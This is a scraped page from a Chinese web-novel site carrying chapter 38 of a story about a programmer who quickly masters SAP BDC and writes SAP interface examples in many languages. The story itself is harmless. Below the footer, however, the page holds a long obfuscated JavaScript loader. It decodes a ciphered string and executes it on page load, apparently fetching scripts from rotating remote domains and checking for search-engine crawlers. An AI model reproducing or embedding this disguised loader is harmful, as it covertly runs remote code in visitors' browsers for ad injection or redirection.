- 首页
- 都市
- 凡人码农加SAP加XR征服世界
- 第38章 疯狂的接口技术(第1页)
第38章 疯狂的接口技术(第1页)
章节目录保存书签
bdc的技术,很快就被张伟掌握了!剩下的就是基于陈荣的需求,编写接口程序了!这个对目前的张伟,简直是太简单了!接口的字段,陈荣早就给了张伟!然后就是函数内部的逻辑编写!这种程序基本上就等于没有逻辑,只要把数据梳理好,灌给bdc就好,这个需求就算搞定了!张伟差不多1天就搞定了这个函数!第二天一上班,张伟就去找陈荣!“荣哥,我的接口,搞定了哦!你那边如何了?”“我靠!你咋搞的,你不是说,这个技术你不懂么!怎么这么快?”陈荣很是疑惑啊。“是不懂啊!刚学的!昨天alix给我的资料,和案例程序,是一种全新的技术,叫bdc,不过没啥难度,我很快就学会了!”张伟傲娇的说。“你这也太神速了!我以为你这个是新技术,你需要几天才搞定,我这边的c的开发,还没搞多少了!在忙其他事!”陈荣一脸的歉意!“荣哥要不这样,你把c的代码给我,我帮你把接口调通,你只需要准备数据,然后调用我这个调通的c程序就行!”张伟给陈荣建议道!“伟子,你认真的?”陈荣不可置信的看着张伟。“必须的,荣哥!”张伟回答道!“伟子,晚上请你吃冰淇淋!”陈荣说。“好嘞,荣哥!”陈荣,把c的代码,发给了张伟!张伟安装好c的开发环境,新建了一个专门的接口程序,就开始了c的编码。张伟有之前调通java的经验,现在换成了c,问题也不大,而且自己在网上也找了一些sap对接c的案例代码,基本上没费啥劲,就调通了接口!然后就是封装接口的数据,张伟对s的取数逻辑不熟悉,主要还是这部分由陈荣负责,张伟就直接用自己测试函数的那几个数据,写死到c这边!很快,c这边的接口,也被张伟搞定了!张伟这个搞定接口的速度确实太快了!主要还是他之前大学的编码底子很好!啥语言都搞过,熟悉啊!现在张伟手上已经有两种编程语言与sap的接口案例了!之前电子采购的java,现在和s的c!张伟想到之前听荣哥说过,sap和其他语言的接口,是一个难点,很多人很难调通!张伟搞定了2种语言的接口,自己感觉没啥难度,张伟总结了下,主要还是自己既懂sap的编程,又懂其他需要对接语言的编程,所以搞起来就会很快!其实其他语言和sap对接时,绝大部分的难点,还是局限于,双方都对对方编程语言的不熟悉造成的,双方都认为对方的很难,所以就很麻烦!就比如,张伟不懂英语,美国人不懂汉语,当此时张伟要给美国人讲解,猪八戒喜欢嫦娥,估计美国人是懵逼的,美国人要给张伟讲解,克林顿和莱温斯基的故事,张伟同样懵逼!如果此时有一个人既懂英语,也懂汉语,那这事就简单了!比喻可能有点不贴切!大概就是这么个意思吧!张伟这样一想就觉得这事很有价值了!毕竟自己的英语稀烂,如果首先有谁能建立起这样的通道,那简直就是雪中送炭啊!于是张伟说干就干!就开始在自己电脑里,安装各种语言的开发环境!java、c已经有了!首先是c++,张伟发现,写这个接口部分的具体代码反而很快,耗时最长的居然是安装配置开发环境!其次就是之前用的java、c都是调用,自己开的或者alix开发的函数,不是标准的函数,其他人肯定没有这两个函数,如果用这两个函数为案例,来进行编写,对其他人就没有参考价值了,毕竟人家拿去后没法重现啊!张伟只能再调整策略,想起alix说的那个专门找标准函数的地方bapi!张伟打算用个标准函数为案例进行编写案例!张伟第一次,打开了bapi!nnd!进入这个界面后,左边整版的菜单!张伟点开了自己熟悉的一些菜单,sd-销售相关的、-后勤相关的很多层级的菜单往下,张伟感觉,这肯定又是一个类似spro这样的宝库!里面肯定有很多珍宝!张伟也终于想起了,alix给他说的对接s的第一个方案是让他到bapi里面来找找有没有标准的函数的意思了!直接用标准函数接入报工数据,不用录制bdc屏幕,不用写函数,如果能找到标准函数,肯定会非常快就搞定这个事,估计就1分钟就搞定了!但是张伟反过来想,alix为什么让自己来找了?也就是说,alix自己也不知道是否有这样一个标准函数来承接报工的数据进入sap!也就可以说明,这个bapi实在是太多了,alix也没有探索完!张伟想到此处,才震惊于sap的博大精深,连alix这种sap的绝对大佬,都没办法对这里面的内容,有一个精确定位,因为张伟给出了明确的需求,alix给张伟的方案是让张伟自己去找,而不是给他一个明确的函数!就代表alix自己也不知道,是否有这样的标准函数!,!这就证明alix在自己的职业生涯中,到目前为止也没有碰到过,所以他没法给出一个具体bapi函数给张伟!张伟觉得这肯定是个宝藏不假,但是现在没有时间探索,现在的目标是找一个通用的标准函数写接口!探索宝库,可以后面再来,反正这个宝库就在那里,又跑不掉,自己后面慢慢探索就行!张伟觉得,sap里应该大家都会用的模块sdpp那就随便找一个就行,于是张伟就找了一个客户主数据查看的函数,“bapi_ctor_tdetail”作为所有语言的接口案例进行编写了!后面就是各种语言的程序编码了,之后陆陆续续,张伟花费了6天时间,主要还是花费在安装各种语言的编程工具上!当然这6天张伟也不仅仅只是梳理了rfc对应的bapi这一种模式接口,张伟发现还有很多种形式的接口技术可用!最后张伟就搞出了下面这些!从编程语言来说,java、c、c++、python、excel的vba,还有古老的vb、pb张伟也都给弄了一个bapi的案例!张伟这个老六甚至连汇编语言都尝试了下!结果肯定是没对接成功,啪啪打脸!为此张伟还耿耿于怀!nnd最古老的语言居然没对接成功,有瑕疵啊!从技术手段来说张伟这样分的,基于rfc的接口模式,基于ftp的接口模式,基于http的接口模式,基于nativesql接口模式,张伟也是每种都搞了一个接口案例!在搞接口过程中,陈荣也把他那边的c调取数据的部分写好了!张伟和陈荣也把s和sap的接口给调通了,这个很简单,张伟这里只花了十几分钟就搞好了!这6天基本就是搞这些接口,可把张伟搞的那真是欲仙欲死,贼拉酸爽,好多次都打算放弃了,不是有啥难度,主要是麻烦!当然这个没难度,是对张伟这个变态来说!麻烦是真麻烦!特别是安装那些语言的编程环境,简直就是煎熬啊!还有就是找各种ftp、http这些技术手段的案例,也是麻麻杂杂、烦不胜烦!要不是张伟拥有连结石都能跳出来的毅力,估计这个事肯定搞不完!张伟最后,也是直接豁出去了!直接写了一个ppt,首先是介绍各种语言的接口编写技巧!每种语言有3页!后面就是每种接口方式的讲解,rfc模式的,ftp模式的反正就是,抱着好人做到底,送佛送到西的态度,把这事要搞成一个完美的结局!张伟写完那个ppt时,张伟自己都被自己感动的不行了啊!原来自己还是一个不折不扣的大好人啊!不但弄了案例,还弄了个ppt全面的总结了sap的所有接口技术,基本上把sap的接口技术一网打尽了!张伟最后把各种语言的接口源代码打包好,压缩成一个包!看到这个压缩包张伟有点欲哭无泪,居然只有20b不到!nnd,自己辛辛苦苦忙活了6天!没白天,没黑夜的,居然只有20b!真是苍天啊!这还不是最离谱的!最离谱的居然是张伟写的那个ppt材料居然有23b因为里面有很多截图!搞的张伟真是极度无语啊!有种买椟还珠的感觉!那不到20b的源代码才是精髓,而这个ppt就是那个盒子!最终结果却是ppt比最值钱的源代码还要大!可把张伟给郁闷的够呛!:()凡人码农加sap加xr征服世界
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
凡人码农加SAP加XR征服世界所有内容均来自互联网,126文学网只为原作者作家5TTPWu的小说进行宣传。欢迎各位书友支持作家5TTPWu并收藏凡人码农加SAP加XR征服世界最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();